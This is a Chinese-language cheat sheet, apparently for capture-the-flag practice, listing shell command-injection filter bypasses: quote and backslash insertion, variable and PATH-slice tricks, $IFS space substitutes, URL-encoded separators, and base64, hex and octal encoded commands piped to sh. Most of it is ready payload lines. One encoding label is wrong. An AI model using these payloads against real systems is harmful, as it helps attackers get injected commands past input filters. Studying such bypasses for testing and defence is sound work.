代码执行绕过小结
梳理总结各类绕过方式
拼接绕过
反斜杠绕过
ca\t fl\ag
反单引号绕过
c``a``t flag
单引号绕过
c’‘a’'t flag
双引号绕过
c"“a”"t flag
插入注释绕过
c\*ba2in9a*\at flag
自定义变量绕过
a=l;b=s;$a$b
a=fl;b=ag;cat $a$b
未初始化变量绕过
cat$m flag
Shell 特殊变量绕过
当变量不存在时其值为空
Shell 特殊变量
点击查看内容
- $0 : 当前脚本的文件名
- $n : 传递给脚本或函数的参数(n为正整数)
- $# : 传递给脚本或函数的参数个数
- $* : 传递给脚本或函数的所有参数
- $@ : 传递给脚本或函数的所有参数
- $? : 上个命令的退出状态,或函数的返回值
- $$ : 当前 Shell 进程或 Shell 脚本所在进程 ID
- "$*" : 会将所有的参数作为一个整体,以"$1 $2 … \$n"的形式输出所有参数
- "$@" : 会将各个参数分开,以"$1" "$2" … "$n" 的形式输出所有参数
利用PATH绕过
${PATH:5:1} -> l
${PATH:2:1} -> s
${PATH:5:1}${PATH:2:1}
过滤斜杠绕过
${HOME:0:1}
cat ${HOME:0:1}flag
echo . | tr ‘!-0’ ‘"-1’
cat $(echo . | tr ‘!-0’ ‘"-1’)flag
过滤空格绕过
Linux
{OS_COMMAND,ARGUMENT}可执行系统命令
{cat,flag.php}
;
连接前后命令,多条命令顺序执行,命令之间没有任何逻辑关系
重定向符
<和<>
cat<flag.txt
cat<>flag.txt
示例
点击查看内容
类 型 | 符 号 | 作 用 |
---|---|---|
标准输出重定向 | command >file | 以覆盖的方式,把 command 的正确输出结果输出到 file 文件中 |
command >>file | 以追加的方式,把 command 的正确输出结果输出到 file 文件中 | |
标准错误输出重定向 | command 2>file | 以覆盖的方式,把 command 的错误信息输出到 file 文件中 |
command 2>>file | 以追加的方式,把 command 的错误信息输出到 file 文件中 | |
正确输出和错误信息同时保存 | command >file 2>&1 | 以覆盖的方式,把正确输出和错误信息同时保存到同一个文件(file)中 |
command >>file 2>&1 | 以追加的方式,把正确输出和错误信息同时保存到同一个文件(file)中 | |
command >file1 2>file2 | 以覆盖的方式,把正确的输出结果输出到 file1 文件中,把错误信息输出到 file2 文件中 | |
command >>file1 2>>file2 | 以追加的方式,把正确的输出结果输出到 file1 文件中,把错误信息输出到 file2 文件中 | |
command >file 2>file | 【不推荐】这两种写法会导致 file 被打开两次,引起资源竞争, stdout 和 stderr 会互相覆盖 | |
command >>file 2>>file |
IFS
$IFS
$IFS 在 Linux 下表示分隔符
cat$IFSflag.txt
bash 会将 IFSflag 当作变量名,导致无法输出预期结果
$IFS$9
加个 $ 起截断的作用
$9表示当前系统 shell 进程的第九个参数的持有者,其始终为空字符串
cat$IFS$9flag.txt
${IFS}
加 {} 起固定变量名的作用
cat${IFS}flag.txt
Windows
仅 type 命令可行
type.\flag.txt
type,flag.txt
URL 编码
PHP 环境
%09 horizontal tab 水平制表符
%0a line feed 换行符
%0d vertical tab 垂直制表符
命令终止符
%00 null character 零字符
%20# space 空格符
示例
ca$9t fl$9ag
ca$*t fl$*ag
ca$@t fl$@ag
编码绕过
反引号``和$()和{}|$0用来表示命令执行
cat /flag
base64: Y2F0IC9mbGFn
hex: 636174202f666c6167
oct: \x63\x61\x74\x20\x2f\x66\x6c\x61\x67
base64
echo Y2F0IC9mbGFn|base64 -d|sh
`echo Y2F0IC9mbGFn|base64 -d`
$(echo Y2F0IC9mbGFn|base64 -d)
{echo Y2F0IC9mbGFn|base64 -d}|$0
hex
echo 636174202f666c6167|xxd -r -p|sh
`echo 636174202f666c6167|xxd -r -p`
$(echo 636174202f666c6167|xxd -r -p)
{echo 636174202f666c6167|xxd -r -p}|$0
oct
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
{printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0